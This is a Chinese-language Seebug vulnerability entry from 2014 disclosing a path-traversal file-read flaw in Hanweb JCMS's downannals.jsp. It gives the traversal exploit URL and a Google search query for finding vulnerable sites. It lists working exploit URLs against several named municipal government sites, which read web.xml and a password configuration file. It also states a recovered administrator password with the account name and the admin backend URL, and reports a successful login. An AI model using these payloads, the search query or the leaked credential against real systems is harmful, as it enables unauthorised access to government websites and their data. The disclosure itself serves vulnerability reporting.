大汉网络文件读取漏洞+读取管理员密码

2014-10-21T00:00:00
ID SSV:93841
Type seebug
Reporter Root
Modified 2014-10-21T00:00:00

Description

简要描述:

大汉网络文件读取漏洞+读取管理员密码

详细说明:

漏洞Exp:/xxgk/jcms_files/jcms1/web1/site/zfxxgk/download/downannals.jsp?name=....//....//zfxxgk/subjectstyle.xml&webid=52&type=41&downname=a.txt 利用截图: http://xxgk.jinan.gov.cn/xxgk/jcms_files/jcms1/web1/site/zfxxgk/download/downannals.jsp?name=....//....//zfxxgk/subjectstyle.xml&webid=52&type=41&downname=a.txt

<img src="https://images.seebug.org/upload/201410/1917150577b69fa9e9ae1d2ebfaf0f475953cd5e.png" alt="clipboard.png" width="600" onerror="javascript:errimg(this);">

漏洞证明:

案例:(谷歌搜索很多,手动测试一下几个。) Google: inurl:downannals.jsp 中国-济南 http://xxgk.jinan.gov.cn/xxgk/jcms_files/jcms1/web1/site/zfxxgk/download/downannals.jsp?name=....//....//....//....//....//....//WEB-INF/web.xml&webid=52&type=41&downname=a.txt 中国-寒亭 http://xxgk.hanting.gov.cn/hanting/jcms_files/jcms1/web1/site/zfxxgk/download/downannals.jsp?name=....//....//....//....//....//....//WEB-INF/web.xml&webid=43&type=6&downname=a.txt 潍城政府 http://xxgk.weicheng.gov.cn/weicheng/jcms_files/jcms1/web1/site/zfxxgk/download/downannals.jsp?name=....//....//....//....//....//....//WEB-INF/web.xml&webid=43&type=1&downname=a.txt 安丘市 http://xxgk.anqiu.gov.cn/anqiu/jcms_files/jcms1/web1/site/zfxxgk/download/downannals.jsp?name=....//....//....//....//....//....//WEB-INF/web.xml&webid=17&type=6&downname=a.txt 中国常德 http://xxgk.changde.gov.cn/xxgk/jcms_files/jcms1/web1/site/zfxxgk/download/downannals.jsp?name=....//....//....//....//....//....//WEB-INF/web.xml&webid=56&type=1&downname=a.txt 读取密码配置文件: http://xxgk.anqiu.gov.cn/anqiu/jcms_files/jcms1/web1/site/zfxxgk/download/downannals.jsp?name=....//....//....//....//....//....//WEB-INF/ini/merpserver.ini&webid=17&type=6&downname=a.txt 遍历密码文件:

<img src="https://images.seebug.org/upload/201410/191715388c15ac1c97112239f1ac68fec1befea1.png" alt="clipboard.png" width="600" onerror="javascript:errimg(this);">

得到密码:AdminPW=hanwebanqiu 访问管理后台:http://xxgk.anqiu.gov.cn/anqiu/setup/ 帐号:admin 密码:hanwebanqiu 成功登录:

<img src="https://images.seebug.org/upload/201410/191715565ade3aa56f8db690b840f388cbb974df.png" alt="clipboard.png" width="600" onerror="javascript:errimg(this);">